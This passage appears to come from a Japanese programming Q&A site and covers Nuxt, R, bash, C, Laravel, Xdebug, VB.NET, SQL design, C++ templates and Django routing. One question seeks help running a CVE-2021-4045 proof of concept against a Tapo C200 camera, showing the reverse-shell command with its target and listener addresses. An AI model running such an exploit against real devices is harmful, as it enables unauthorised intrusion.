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"body": "### 実現したいこと\n\nNuxt3のuseAsyncDataメソッドのhandler引数にaxiosのラッパーメソッドを渡して、サーバーサイドでもapiと通信したい。\n\n### ソースコード\n\n```\n\n <script setup lang=\"ts\">\n import request from '@/utils/request'\n \n const {data} = await useAsyncData<T>(async () => {\n const data = await request.get<T>('/api/example')\n return data\n })\n </script>\n \n <template>\n // クライアントサイド apiと通信できている\n // バックエンド apiと通信できずdata.value === nullになる\n {{ data }}\n </template>\n \n```\n\n```\n\n export default () => {\n async get<T> (path: string) {\n // 簡略化のため省略\n const res = await axios.get(baseURL + path)\n return res.data\n }\n }\n \n```\n\n### 問題\n\nクライアントサイドでバックエンドと通信を行う場合は、dataを取得できていますが、サーバーサイドでバックエンドと通信を行う場合にdataを取得できません。 \nまた、useAsyncDataのhandler引数にaxiosのラッパーメソッドではなくaxios関数をそのまま渡した場合はクライアントサイド・サーバーサイドの両方で通信が成功します。\n\n```\n\n <script setup lang=\"ts\">\n const {data} = await useAsyncData<T>(async () => {\n const res = await axios.get<T>('http://localhost:8080/api/example')\n return res.data\n })\n </script>\n \n```\n\nなぜaxiosのラッパーメソッドをハンドラー引数として使用した場合に、サーバーサイドの通信が失敗するのかを教えていただきたいです。",
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"body": "```\n\n install.packages(\"nnet\")\n Warning in install.packages :\n リポジトリー https://cran.ism.ac.jp/src/contrib に対する索引にアクセスできません :\n cannot open URL 'https://cran.ism.ac.jp/src/contrib/PACKAGES'\n WARNING: Rtools is required to build R packages but is not currently installed. Please download and install the appropriate version of Rtools before proceeding:\n \n https://cran.rstudio.com/bin/windows/Rtools/\n パッケージを ‘C:/Users/mogul/AppData/Local/R/win-library/4.2’ 中にインストールします \n (‘lib’ が指定されていないため) \n Warning in install.packages :\n リポジトリー https://cran.ism.ac.jp/src/contrib に対する索引にアクセスできません :\n cannot open URL 'https://cran.ism.ac.jp/src/contrib/PACKAGES'\n Warning in install.packages :\n package ‘nnet’ is not available for this version of R\n \n A version of this package for your version of R might be available elsewhere,\n see the ideas at\n https://cran.r-project.org/doc/manuals/r-patched/R-admin.html#Installing-packages\n Warning in install.packages :\n リポジトリー https://cran.ism.ac.jp/bin/windows/contrib/4.2 に対する索引にアクセスできません :\n cannot open URL 'https://cran.ism.ac.jp/bin/windows/contrib/4.2/PACKAGES'\n \n```",
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"body": "C言語でファイル処理を使ったコードを作成しています。ファイル名はコマンドライン引数に指定するのでterminal-1な感じで指定するのですが、これを実行するとterminal-2のような結果になって実行できません。どうすればいいのでしょうか。\n\nterminal-1\n\n```\n\n test number t.txt my.txt\n \n```\n\nterminal-2\n\n```\n\n bash: test: t.txt: 二項演算子が予期されます\n \n```\n\nわかっていること\n\n * コンパイル時にエラーはない\n * コマンドライン引数の数を減らす(減らさなくても)と最後から2番目の数に発生する\n * 拡張子がなくとも発生する",
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"body": "[Bashビルトインコマンド`type`](https://www.gnu.org/software/bash/manual/bash.html#index-\ntype) を実行するとわかりますが\n\n```\n\n $ type test\n test is a shell builtin\n \n```\n\nと出力され、単に`test`という名前のコマンドを実行しようとした場合は[シェルビルトインコマンド`test`](https://www.gnu.org/software/bash/manual/bash.html#index-\ntest)が実行されます。そのため、質問者さんが作成した外部コマンドはそもそも実行されていません。\n\n* * *\n\nではどうすればいいかですが、混乱の元ですので、実行ファイル名をビルトインコマンドと同名にすることは止めるべきです。`cd`とか`pwd`とか`exit`とかなども避けるべきです。\n\nそれでも`test`という名称を使いたい場合は、実行の際パスを指定しましょう。ビルトインコマンドにはパスが存在しないので一致せず確実に外部コマンドが呼び出されます。 \n雑な回避策としてコマンドの手前に`env`と付けることも有効です。`env`コマンドの仕様上、確実に外部コマンドが呼び出されます。",
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{
"body": "ほとんどのLinuxには標準で`test`という実行ファイル(`/usr/bin/test`)が存在し、また、bashには`test`という組み込みコマンドが存在します。そのため、\n\n * bashのシェル上で単に`test`を実行しようとした場合、bashの組み込みコマンドである`bash`が実行される。(組み込みコマンド`test`の詳細は`man bash`で確認できます。zsh等の組み込みコマンド`test`がある場合も同じ動作ですが、zshでの詳細は`man zshbuiltins`で確認できます。)\n * bash以外のシェル(tcshとか)で単に`test`を実行しようとした場合、環境変数`PATH`(`echo $PATH`で確認できます)に列挙されたディレクトリから`test`という名前の実行ファイルを検索し、最初に引っかかった実行ファイルを実行する。標準的なLinux環境では、実行ファイル`/usr/bin/test`が実行される。(実行ファイル`/usr/bin/test`の詳細は`man test`で確認できます。)\n\nエラーメッセージからbash組み込みコマンド`test`が実行しようとして、引数が間違っているため失敗したようです。\n\nこのように「ファイル名」で実行しようとすると、組み込みコマンド→環境変数`PATH`の順でコマンドまたは実行ファイルが検索されます。通常、環境変数`PATH`にはカレントディレクトリ(`.`)は含まれていないので、カレントディレクトリにある実行ファイルが実行されることはありません。\n\n自分で作成した実行ファイルを実行したい場合は、「ファイル名」ではなく、何らかのディレクトリのパスが含まれた相対または、絶対パスを付けてください。\n\nカレントディレクトリにある場合\n\n```\n\n ./test number t.txt my.txt\n \n```\n\n`/path/to/proj`というディレクトリにある場合\n\n```\n\n /path/to/proj/test number t.txt my.txt\n \n```",
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"body": "sigaction()のような、コードに誤りがない場合には失敗しない関数の、エラーチェックの実装方法について質問です。\n\n例えば下記のようなコードだと、SIGUSR1のところに変な値を入れない(実装ミスがない)限り、printf(\"error\");は実行されません。そのため、単体テストでprintf(\"error\");を通るテストが書けず、カバレッジが100%にならないのでもやもやしています。\n\n```\n\n ret = sigaction(SIGUSR1, &new_handler, &old_handler);\n if (0 > ret) {\n printf(\"error\");\n }\n \n```\n\nそこで、下記のようにassert()関数で返り値をチェックしようと思うのですが、assert()関数の使いかたというか考え方として正しいでしょうか。\n\n```\n\n ret = sigaction(SIGUSR1, &new_handler, &old_handler);\n assert (0 > ret);\n \n```",
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"title": "異常系のカバレッジのためにassert()関数を使ってもよいでしょうか",
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"body": "いくつかの問題が絡み合っていそうなので、複数の視点で書きます。\n\n### `assert` で書き換えて良いのか\n\n`assert` で書き換える前と後のコードでは、挙動が異なります。前者は `printf`\nするだけですが後者は異常終了します。その変化を受け入れられるのかはチェックしておくべきです。\n\n`assert` でも想定していた挙動を満たすのであれば、単なるコードの書き換えとしては特に問題ないものになります。\n\n### コードカバレッジ 100% を目指すべきなのか\n\n状況にもよるのですが、必ずしもコードカバレッジは 100%\nぴったりを目指さないといけないものではありません。その大変さの割に安全性はそこまで保証されないためです。\n\nもし実際に気にされているコードも `printf`\nしているだけの単純なコードであったり、想定していない挙動をしてもさほど影響のないコードであったりするのであれば、わざわざこの条件文の中のカバレッジを気にするのは\nやりすぎかもしれません。\n\n参考: [The Case Against 100% Code Coverage](https://about.codecov.io/blog/the-\ncase-against-100-code-coverage/) \\-- Codecov\n\n### モックを利用できないか\n\nここでいう「テスト」が単体テストであるならば、テストフレームワークによっては関数のモックが利用できるでしょう。「モック」はフレームワークや使われ方によって「スタブ」「ダミー」「ダブル」などとも呼ばれます。\n\n実際に引数を用意して `sigaction`\nの返り値が異常になる場合を作るのではなくて、必ず異常になるようなモックを用意して異常系のテストをする方がテストの実装を単純にできます。",
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"body": "`assert` で書き換えて良いのかに関しては、 nekketsuuu さんの回答にある通りと思います（`NDEBUG`\nが定義されていると消えてしまう点も注意が必要です）。`assert` で代替できず、防御的なコードを残した際にカバレッジが 100%\nにならない問題には、例えば以下で対処できます。\n\n### カバレッジ計測時には分岐コードを削除する方法\n\nカバレッジを計測するテストの際には、条件部を定数の真理値にしてしまい、分岐コードが生成されないようにする方法が有ります。単純に考えると、ビルド時のフラグによって、\n\n * カバレッジ計測時: 条件部のコードを 0 にして分岐を削除する\n * その他のビルド時: 条件部のコードそのまま\n\nの2通りのコードを出し分けるマクロを定義すればよいはずです。概念的には下のようなコードになります。\n\n```\n\n // これは説明のためのコードであり未テストです\n \n #if defined(COVERAGE_TEST)\n #define NEVER(X) (0)\n #else\n #define NEVER(X) (X)\n #endif\n \n // マクロの使用:\n // 真にならないはずの条件を NEVER で囲む\n if ( NEVER(0 > ret) ) {\n // リカバリー処理など\n }\n \n```\n\nこれは、SQLite で用いられている方法です。SQLite では、\n\n * リリース\n * 通常のテスト\n * テストカバレッジの測定\n\nの3通りのコードを生成するマクロを用いています。\n\n参照: [How SQLite Is Tested / 7.2. Coverage testing of defensive\ncode](https://www.sqlite.org/testing.html#coverage_testing_of_defensive_code)\n\n該当のマクロ定義（[`sqliteInt.h`](https://www.sqlite.org/src/file?name=src/sqliteInt.h&ci=trunk)）:\n\n```\n\n /*\n ** The ALWAYS and NEVER macros surround boolean expressions which\n ** are intended to always be true or false, respectively. Such\n ** expressions could be omitted from the code completely. But they\n ** are included in a few cases in order to enhance the resilience\n ** of SQLite to unexpected behavior - to make the code \"self-healing\"\n ** or \"ductile\" rather than being \"brittle\" and crashing at the first\n ** hint of unplanned behavior.\n **\n ** In other words, ALWAYS and NEVER are added for defensive code.\n **\n ** When doing coverage testing ALWAYS and NEVER are hard-coded to\n ** be true and false so that the unreachable code they specify will\n ** not be counted as untested code.\n */\n #if defined(SQLITE_OMIT_AUXILIARY_SAFETY_CHECKS)\n # define ALWAYS(X) (1)\n # define NEVER(X) (0)\n #elif !defined(NDEBUG)\n # define ALWAYS(X) ((X)?1:(assert(0),0))\n # define NEVER(X) ((X)?(assert(0),1):0)\n #else\n # define ALWAYS(X) (X)\n # define NEVER(X) (X)\n #endif\n \n```",
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"body": "### 実現したいこと\n\nComposerからLaravelプロジェクトを立ち上げたい。\n\n### 前提\n\nLaravelでの開発をしたく、vscodeでの環境構築をしていたのですが、Laravelプロジェクトをターミナルから立ち上げようとすると、以下の問題が発生。\n\n```\n\n cURL error 60: SSL certificate problem\n \n```\n\nそのため、以下のサイトを参考に対処。 \nファイルはxamppにある「php.inidevelopment」を「php.ini」に名前を変更して内容を変更しました。 \n<https://akizora.tech/laravel-curl-error-3390>\n\n再び立ち上げようとすると、以下のエラーが発生。\n\n```\n\n The openssl extension is required for SSL/TLS protection but is not available. If you can not enable the openssl extension, you can disable this error, at your own risk, by setting the 'disable-tls' option to true.\n \n```\n\nこちらのエラーは以下のサイトを参考に対処\n\n<https://digirakuda.org/blog/2018/06/04/post-251/>\n\nその後にプロジェクトを立ち上げようとすると、プロキシ関係でエラーが発生しました。\n\n### 発生している問題・エラーメッセージ\n\n```\n\n The \"https://repo.packagist.org/packages.json\" file could not be downloaded: SSL operation failed with code 1. OpenSSL Err\n or messages:\n error:エラーコード:SSL routines::certificate verify failed\n Failed to open stream: Cannot connect to HTTPS server through proxy\n \n```\n\n### 試したこと\n\n以下のサイトを参考にさせていただきました。 \nプロキシ経由でインターネットを利用していると発生するエラーらしく、対策法が記載されていたので試したところ、うまくいきませんでした。\n\n<https://akamist.com/blog/archives/222>\n\n### 補足情報（FW/ツールのバージョンなど）\n\nPHP:8.2.4 Composer:2.5.8 \nエディタ:vscode",
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"title": "ComposerからLaravelのプロジェクトを立ち上げたい",
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"body": "多数のAppSheetを使用しており、各AppSheetのユーザー情報の一覧をスプレッドシートで見られるようにしたいと考えております。 \nGASから取得する形を考えておりますが、公式ドキュメントの\"Use the AppSheet\nAPI\"によればGASからテーブル操作はできてもユーザー情報は取得できないように読めます。\n\n(1) そもそも、GASからAppSheetのユーザー情報を取得することは可能でしょうか。 \n(2) 可能な場合、APIエンドポイントはどちらになるでしょうか。\n\n[参考] \n<https://support.google.com/appsheet/answer/10105768>",
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"body": "Pythonに限った話ではありませんが、 \n月日を引数に取りたい場合、どのように指定にするのが適切でしょうか？ \ndateやdatetimeオブジェクトだとyearは不要で利用する側がyearを指定しないといけないので違うかなと思っています。 \n月と日を分けると配列でまとめて受け取れませんし文字列だと複数のフォーマットが存在してしまいます。",
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"title": "月日を表す引数の型は何が適切なのでしょうか",
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"body": "コンテナとして利用可能な型(`list`, `tuple`, `dict`, `dataclass`,\netc.)であれば何でもよいかと思いますが、一例として `dataclass` を使う場合を挙げておきます。(`dataclass` は Python\n3.7 以降で使用可能)\n\n```\n\n from dataclasses import dataclass\n \n @dataclass\n class MonthDay:\n month: int\n day: int\n \n def myfunction(md: MonthDay) -> None:\n print(md.month)\n print(md.day)\n \n if __name__ == '__main__':\n myfunction(MonthDay(month=6, day=12))\n \n```",
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"body": "以下のルールで作成したwordファイル(docx)をphp(Laravel)を介してpdfに変換しようとしています。一部のファイルで文字化けが発生していしまい、原因が分からず困っています。同様の現象を解決した方がいらっしゃれば助けていただけないでしょうか。\n\n使用しているライブラリはphpwordとtcpdfです。\n\n * 1行目をMSゴシック、2行目をMS明朝で入力。\n * 左インデントは使用しない。\n * tcpdfでのフォント指定は'kozminproregular'\n\n[発生している現象] \n2行目のMS明朝の行がpdf上では？マークとなる。 \n全てのファイルで再現する訳ではなく、顧客がword2016で作成した一部のファイルでのみ再現。\n\n[現在行った調査] \n文字化け箇所とそうではないテキストをギリギリまで削る \n-> 再現する。\n\n新規ファイル作成で同じ内容で同じフォントを指定する \n-> 再現しない。\n\nphpwordがwordファイルを解析したときのxml一時ファイルでは文字化けしていない。\n\n元のwordファイル \n[](https://i.stack.imgur.com/E0bim.png)\n\n変換後のpdf \n[](https://i.stack.imgur.com/vlqSg.png)\n\n使用バージョン \n\"tecnickcom/tcpdf\": \"^6.5\" \n\"phpoffice/phpword\": \"^0.18.3\",\n\nよろしくお願いします。 \n必用な情報などがございましたらご指摘いただければ幸いです。",
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"title": "phpwordとtcpdfを使用したwordファイルからのpdf作成で一部が文字化けする。",
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"body": "teratailでなかなか回答を得られないため、こちらでも質問しています。\n\n**実現したいこと** \nxdebugのクライアント接続を解決したい \nxdebugを正常に稼働させたい\n\n**前提** \nLandoでDrupalの開発環境を構築し、開発のためxdebugを有効化させようとしましたが、 \nインストール等はうまくいっているものの、エラーメッセージが表示されそのエラーを解決できない\n\n**発生している問題・エラーメッセージ** \nxdebug.log\n\n```\n\n Xdebug: [Step Debug] Could not connect to debugging client. Tried: 172.22.169.144:9003 (fallback through xdebug.client_host/xdebug.client_port).\n \n```\n\nlando.yml\n\n```\n\n name: tesutosaito\n recipe: drupal9\n config:\n webroot: web\n # VS CodeでXdebugを使用する設定\n xdebug: true\n # メールサーバーをサービスとして追加\n services:\n mailhog:\n type: mailhog\n hogfrom:\n - appserver\n phpmyadmin:\n type: phpmyadmin\n appserver:\n xdebug: debug\n config:\n php: .vscode/php.ini\n \n```\n\n.vscode/php.ini\n\n```\n\n [PHP]\n ; Xdebug\n xdebug.max_nesting_level = 256\n xdebug.show_exception_trace = 0\n xdebug.collect_params = 0\n xdebug.mode = debug\n xdebug.start_with_request = yes\n xdebug.client_host = ${LANDO_HOST_IP}\n xdebug.client_port = 9003\n xdebug.log = xdebug.log\n \n ; Remote settings\n xdebug.remote_enable = 1\n xdebug.remote_autostart = 1\n xdebug.remote_host = ${LANDO_HOST_IP}\n ; xdebug.remote_connect_back = 1\n ; xdebug.remote_log = /tmp/xdebug_remote.log\n \n```\n\nvscodeのDEBUGCONSOLEに帰ってきた内容\n\n```\n\n <- outputEvent\n tS {\n seq: 0,\n type: 'event',\n event: 'output',\n body: {\n category: 'stdout',\n output: 'Listening to Xdebug on port 0.0.0.0:9003,:::9003 ...\\n'\n }\n }\n \n Listening to Xdebug on port 0.0.0.0:9003,:::9003 ...\n <- launchResponse\n BE {\n seq: 0,\n type: 'response',\n request_seq: 2,\n command: 'launch',\n success: true\n }\n \n```\n\n**試したこと** \n標準的なインストール手順を実行 \n<https://www.acquia.com/jp/blog/how-to-use-lando-for-building-drupal-local-\nenvironment> \n下記サイトよりxdebugがインストールされていることを確認 \n<https://xdebug.org/wizard> \nphp debug拡張機能をインストール、.lando.ymlを編集（このようにファイルを編集したところ、上記のDEBUG CONSOLE内容が帰ってきた） \n<https://thehigglers.com/blogs/2023-04-19-how-to-configure-xdebug-with-lando-\nfor-drupal-development/>\n\n**補足情報（FW/ツールのバージョンなど）** \nLandoを起動すると\n\n```\n\n You have version 24.0.2 but Lando wants something in the 18.09.3 - 20.10.99 range.\n \n```\n\nというwarningが出ますが、dockerをダウングレードすると他に影響が出るので、まずはそれ以外の方法を探しています。 \nDrupal 9.4 \nDocker version 24.0.2 \nLando v3.6.5 \nXdebug 3.2.1 \nPHP 8.1",
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"title": "Lando+Xdebugで環境構築したが、xdebugが有効にならない",
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"body": "お世話になります。ラムダ式を使用した際に戻り値が後述の様に想定通りの型になりません。 \n何かを勘違いしていると思うのですが原因が分かりますでしょうか？\n\n発生状況： \n下記の様にラムダ式を書くと、CheckResultはBoolean型となると思っていましたが\n\n```\n\n Dim CheckResult = Function()\n Return False\n End Function\n \n```\n\n実際は下記の様になりました。 \n[](https://i.stack.imgur.com/9P2fh.png)\n\nまた、上記とは別に参考ソースをもとに Function(x) x + 1のコードで試しましたがInt型にならず似たような結果となりました。 \n[](https://i.stack.imgur.com/MGBw0.png)\n\n以上、よろしくお願いします。\n\n環境： \n開発環境：Visual studio 2017 express \n言語：VB.net \nフレームワーク：.NET Framework 4.6.1",
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"title": "vb.netにおけるラムダ式についてご質問",
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"body": "kunif さんが質問のコメント欄に紹介された記事の最初の方にある「\"ラムダ式\"\nは、デリゲートが有効な場所であればどこでも使用できる、名前のない関数またはサブルーチンです」というのを読みましたか？\n\n質問のコードでは、関数を CheckResult と言う変数に代入しているから、インテリセンスは CheckResult が Function\nだと表示したのでしょう。",
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"body": "最終的にやりたいこと \n・QAサイトで、質問者が回答者の中からベストアンサーを 1 件だけ選択できるようにしたい \n・ベストアンサーが選択されたQAページでは、複数回答の内、ベストアンサーを一番最初に表示したい\n\n知りたいこと \n・A.選択したベストアンサーを、どういうDBカラム構成で保存するか \n・B.ベストアンサーを一番最初に表示するにはどうすればよいか\n\nAに対する案 \nqテーブルにBOOLEAN型のbest_answerカラムを追加して、回答者がそのレコードを選択したら、trueを格納 \n他に良い案はありますか？ \n※一般的にはどういう実装になるか知りたい。\n\nBに対する案 \nベストアンサーだけをDBから取得して表示するだけなら問題ないと思われるのですが、回答を全件取得してベストアンサーだけを最初に表示する、というのはどう実装すればよいですか？ \n複数カラムの単純な並べ替えではないので、order byでは無理ですか？\n\n環境 \n・MySQL \n・PHP",
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"title": "QAサイトで、(1件だけ選択できる)ベストアンサーを実装したい時のDBカラム構成について",
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"body": "前提として，「質問テーブル」と「回答テーブル」が 1 : n で存在することとします．\n\n# A について\n\n案としては 3 つで，一つは既に挙げて頂いている「回答レコードに best_answer フラグを付ける」です． \nもう2つは\n\n * 別途 best_answers テーブルを作り回答テーブルと紐付ける\n * 質問テーブルに best_answer_id を作り回答テーブルと紐付ける\n\n## best_answer フラグ案\n\n一番ありがちな実装だと思いますし実現はできますが，ベストアンサーが変わったときにちょっとめんどくさいと思います．\n\n 1. 質問 ID に紐づく回答の中から既に best_answer になっているやつを探してきてフラグを消す\n 2. 新たに別レコードに best_answer フラグを立てる\n\nというフローになるかと思います．\n\n## best_answers テーブル案\n\n最初は質問に対してベストアンサーが一つという制約があるため， Unique Key 制約などで制御して 1 : 1\nになるようにする必要がありますが，（あるかどうか分かりませんが）将来的にベストアンサーを複数選べるようにしたいなどの変更に強いと思います．もしくは「最新 1\n件」という取り方をすることで見せ方としてベストアンサーを 1 つにすることも可能です． \nまた，ベストアンサーに対して負荷情報を追加したくなったときにも簡単に実装できると思います． \nただし，管理するテーブルが1つ増えますし，join なども必要になってくるので実装は若干めんどくさいかもしれません． \nテーブルを分けておくと，ベストアンサーに選ばれた履歴がトランザクション的にそのまま保存できるのが便利かなと思います．（ただし要件的に必要ないのであまりこの時点で考えるべきことではないですね）\n\n## 質問テーブルに best_answer_id 案\n\n割りとこれが良い落とし所かなと思っています． \nテーブル分割ほど拡張性はありませんが，「質問に対してベストアンサーが一つ」という制約も簡単に満たせますし，ベストアンサーの変更も id\nの更新だけで済みます．\n\n# B について\n\nこれは A でどれを選択するかによって若干変わってしまいますが，一旦「best_answer フラグ案」で回答します． \nこの場合， bool 型の best_answer カラムに対して降順で並べかえすれば true なカラムが上に来ますのでそれで大丈夫かと思います．",
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"body": "以下の動画を参考にtapo c200 v1に対してexploitを実行したいと考えています。\n\n[Exploitdb-TP-Link Tapo c200 1.1.15 - リモートコード実行\n(YouTube)](https://www.youtube.com/watch?v=bbFcML90b5Y)\n\n動画とは異なりますがgithubの方から使うコードはダウンロードしてきており、いつでも実行できるようにしています。 \nですが、いざしてみるとずっと実行されたままで、c200のシェルに接続することができませんでした。\n\n```\n\n python3 pwntapo.py shell 192.168.11.12 172.21.175.92\n \n CVE-2021-4045 PoC _ @hacefresko\n _ ____ ___ __ | |_ __ _ _ __ ___\n | '_ \\ \\ /\\ / / '_ \\| __/ _` | '_ \\ / _ \\\n | |_) \\ V V /| | | | || (_| | |_) | (_) |\n | .__/ \\_/\\_/ |_| |_|\\__\\__,_| .__/ \\___/\n |_| |_|\n \n [+] Listening on port 1337...\n [+] Sending reverse shell to 192.168.11.12...\n \n```\n\nここで止まってしまいます。 \nブラウザの方でアクセスしてみると\n\n```\n\n このサイトにアクセスできません192.168.11.12 で接続が拒否されました。\n 次をお試しください\n \n 接続を確認する\n プロキシとファイアウォールを確認する\n ERR_CONNECTION_REFUSED\n \n```\n\nとなってしまいました。 \n最初にアクセスすると bad url request のような文字列が出てきてその後このような画面になりました。\n\nどうにかしてexploitを実行することはできないでしょうか？\n\n実行環境は\n\n * Windows上でWSL(Ububtu)\n * Hyper-V上のCentOS7\n * Windows上のPython\n\nどれでもダメでした（そりゃそうですが、、、、）\n\nexploitをしたい機器は \ntapo c200 v1 ファームウェアは1.0.6でした。 \nよろしくお願いいたします。",
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"title": "IPカメラへのexploitをしたい",
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"body": "言語: C++ \nC++: 17 \nIDE: Qt Creator 10.0.1 \nQt: 6.4.3 \nコンパイラ: MSVC 2019, x86_64\n\nいくつかのgetter/setterが定義されたクラスがあります。\n\n```\n\n class detect_gravity {\n private:\n cv::Point2i _gravity_point;\n cv::Point2i _decimation;\n int32_t _level;\n \n public:\n const cv::Point2i &gravity_point() const { return _gravity_point; }\n const cv::Point2i &decimation() const { return _decimation; }\n void decimation(const cv::Point2i &value) { _decimation = value; }\n int32_t level() { return _level; }\n void level(const int32_t &value) { _level = value; }\n };\n \n```\n\nこのようなクラスが複数種類あり、プロパティの型も様々です。 \nこれらのgetter/setterをすべて同じ型にして変数に格納したいと考えています。\n\n例えば、 \ngetterは`std::function<const void*(void*)>`の形で \n戻り値は取得した値へのポインタ、引数はプロパティを持つクラスのインスタンスへのポインタ。 \n(ここでは'detect_gravity'クラスのインスタンス)\n\nsetterは`std::function<void(void*, const void*)>`の形で、 \n第1引数はクラスインスタンスへのポインタ、第2引数は設定する値へのポインタ。\n\nそして、それらをプロパティの管理クラスへ登録します。 \n登録時は以下の様に書きます。(decimationプロパティの場合)\n\n```\n\n config.register_property(\n \"プロパティ名\", \"プロパティの説明\",\n make_getter<const cv::Point2i &() const>(&detect_gravity::decimation),\n make_setter<void(const cv::Point2i&)>(&detect_gravity::decimation));\n \n```\n\nmake_getterおよびmake_setterは下記の通りです。\n\n```\n\n template <class _Rx, class _Ty>\n proc_system::getter_t make_getter(_Rx _Ty::*getter) {\n return [getter](void *obj) -> const void* {\n _Ty *pobj = static_cast<_Ty*>(obj);\n auto &val = (pobj->*getter)();\n return static_cast<const void*>(&val);\n };\n }\n \n template <class _Rx, class _Ty, class _Arg>\n proc_system::setter_t make_setter(_Rx (_Ty::*setter)()) {\n return [setter](void* obj, const void* val){\n auto pobj = static_cast<_Ty*>(obj);\n auto pval = static_cast<_Arg*>(val);\n (pobj->*setter)(*pval);\n };\n }\n \n```\n\nこのとき、`make_setter<void(const cv::Point2i&)>(&detect_gravity::decimation)`の部分で\n\n```\n\n エラー: No matching function for call to 'make_setter'\n \n```\n\nと出てしまいます。 \nまた、make_setter内では以下のエラーが出ています。\n\n```\n\n Candidate template ignored: substitution failure [with _Rx = void (const cv::Point2i &)]:\n function cannot return function type 'void (const cv::Point2i &)' (aka 'void (const Point_<int> &)')\n \n```\n\n上記のエラーはなぜ起こっているのでしょうか？",
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"title": "関数テンプレートにメンバ関数ポインタを渡したときに\"No matching function for call to '*'\"が発生する",
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"body": "`make_setter` の引数の型が，「引数無し」のメンバ関数になっていたりとか，いろいろと問題がありますね．\n\n当該引数が参照である場合，「参照のポインタ」はダメなので，そこも対処する必要がありそうです．\n\n`make_setter` template を使う箇所の文法も明らかに間違っています．\n\n```\n\n using setter_t = std::function<void(void*, const void*)>;\n \n //こんなのでとりあえずいけるかも？\n template < class Rx, class Ty, class Arg >\n setter_t make_setter( Rx (Ty::*setter)(Arg) ) { //←引数が要るよね\n return [setter](void* obj, const void* val){\n auto pobj = static_cast<Ty*>(obj);\n auto pval = static_cast< std::remove_reference_t<Arg> * >(val); //←Argが参照だったらどうするのか，というのが要る\n (pobj->*setter)(*pval); //←ココ，Rx は常に捨てる？\n };\n }\n \n //使う側：template型引数というのはこのように指定するのでは\n make_setter<void,detect_gravity,const cv::Point2i&>(&detect_gravity::decimation);\n \n```\n\n＃関係ないけど，こういうのをどこぞに登録できたとして，どうやって正しく使うんだろう？",
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"body": "urls.pyのurlpatternsの記述方法を教えてください。\n\n例えば、以下のように、URLにつなぎ足すことで、処理を振り分けたいと考えています。 \nしかし、この記述方法であると、book/のみ認識され、すべてBookALLAPIViewに振り分けられてしまいます。 \n<book_key>にあたるURLを記述した場合、postmanで、最後に/が入らないとエラーだと判断されてしまいます。 \n一番下のpath('book/',...)のみ宣言した場合だど、最後に/の有無にかかわらず処理ができます。\n\n```\n\n urlpatterns = [\n path('version/',VersionAPIView.as_view()),\n path('book/<book_key>/price/<command>/',BookPriceAPIView.as_view()),\n path('book/<book_key>/price/',BookPriceAPIView.as_view()),\n path('book/<book_key>/＜command>/',BookAPIView.as_view()),\n path('book/<book_key>/',BookAPIView.as_view()),\n path('book/',BookALLAPIView.as_view()),\n ]\n \n```\n\n# DRFパッケージ\n\n追加調査により、以下のパッケージが有効なようです。 \n[drf-nested-routers](https://github.com/alanjds/drf-nested-routers)\n\n## このパッケージの要件\n\nDjango: (2.2, 3.0, 3.1, 3.2, 4.0) \nPython: (3.7, 3.8, 3.9, 3.10, 3.11) \nDjango REST framework: (3.11, 3.12, 3.13)\n\nこの要件に伴い、以下の環境にしました。 \nDjango:4.0 \nPython:3.11 \nDjango REST framework:3.13\n\n本パッケージの正常な使用方法が分かればご教示ください。",
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"title": "Django REST framework APIの振り分け方法およびrest_framework_nestedの使用方法",
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{
"body": "自己解決できたようなので、投稿します。\n\ndrf-nested-routersパッケージを使用します。 \nこの例では、modelsで定義したデータベースとリンクしない形でAPI応答する処理となっています。\n\n# このパッケージの要件\n\nDjango: (2.2, 3.0, 3.1, 3.2, 4.0) \nPython: (3.7, 3.8, 3.9, 3.10, 3.11) \nDjango REST framework: (3.11, 3.12, 3.13)\n\n# フォルダ構成\n\napi:rest framework用アプリケーション \napp:WEBサーバー用アプリケーション \nconfig:Djangoプロジェクト\n\nフォルダツリー\n\n```\n\n .\n ├── api\n │ ├── __init__.py\n │ ├── admin.py\n │ ├── apps.py\n │ ├── migrations\n │ │ ├── __init__.py\n │ ├── serializers.py\n │ ├── templates\n │ │ └── api\n │ │ └── version.html\n │ ├── tests.py\n │ ├── urls.py\n │ └── views.py\n ├── app\n │ ├── __init__.py\n │ ├── admin.py\n │ ├── apps.py\n │ ├── migrations\n │ │ ├── 0001_initial.py\n │ │ ├── __init__.py\n │ ├── models.py\n │ ├── templates\n │ │ └── app\n │ │ └── index.html\n │ ├── test\n │ │ ├── test_models.py\n │ │ └── test_models_handle.py\n │ ├── tests.py\n │ ├── urls.py\n │ └── views.py\n ├── config\n │ ├── __init__.py\n │ ├── asgi.py\n │ ├── settings.py\n │ ├── urls.py\n │ └── wsgi.py\n ├── db.sqlite3\n └── manage.py\n \n```\n\n# ソースコード\n\nconfig/urls.pyにおいて、urlパスを各アプリケーションに振り分ける。\n\n```\n\n urlpatterns = [\n path('app/', include('app.urls')),\n path('api/', include('api.urls')),\n ]\n \n```\n\napi/urls.py \n**registerで登録する順序が重要です。**\n\n```\n\n from django.urls import path, include\n \n from rest_framework_nested import routers\n from .views import *\n \n router = routers.SimpleRouter()\n router.register('book/open', BookOpenViewSet, basename='book_open')\n router.register('book/close', BookCloseViewSet, basename='book_close')\n router.register('book', BookViewSet, basename='book')\n \n book_router = routers.NestedSimpleRouter(router, r'book', lookup='book')\n book_router.register(r'open', BookKeyOpenViewSet, basename='book_open')\n \n urlpatterns = [\n path('v1/', include(router.urls)),\n path('v1/', include(book_router.urls)),\n path('version/', VersionView),\n ]\n \n```\n\napi/views.py\n\n```\n\n from django.shortcuts import render\n \n import json\n \n from rest_framework import viewsets\n from django.http import JsonResponse\n \n def VersionView(request, *args,**kwargs):\n params = {\n 'version':\n json.dumps({'version':'ver 1.2'},indent=2)\n }\n return render(request,\"api/version.html\",params)\n \n \n class BookViewSet(viewsets.ViewSet):\n def list(self, requset):\n return JsonResponse({\"book\":\"all book list\"}, json_dumps_params={'indent': 2})\n \n def retrieve(self, request, pk=None):\n return JsonResponse({\"book\":f\"book id = {pk}\"}, json_dumps_params={'indent': 2})\n \n def create(self, request):\n # POST\n return JsonResponse({\"book\":f\"book create\"}, json_dumps_params={'indent': 2})\n \n class BookOpenViewSet(viewsets.ViewSet):\n def list(self, requset):\n return JsonResponse({\"book\":\"book open command\"}, json_dumps_params={'indent': 2})\n \n class BookCloseViewSet(viewsets.ViewSet):\n def list(self, requset):\n return JsonResponse({\"book\":\"book cloase command\"}, json_dumps_params={'indent': 2})\n \n class BookKeyOpenViewSet(BookOpenViewSet):\n def list(self, request, book_pk=None):\n return JsonResponse({\"book\":f\"book({book_pk}) open command\"}, json_dumps_params={'indent': 2})\n \n def retrieve(self, request, pk=None, 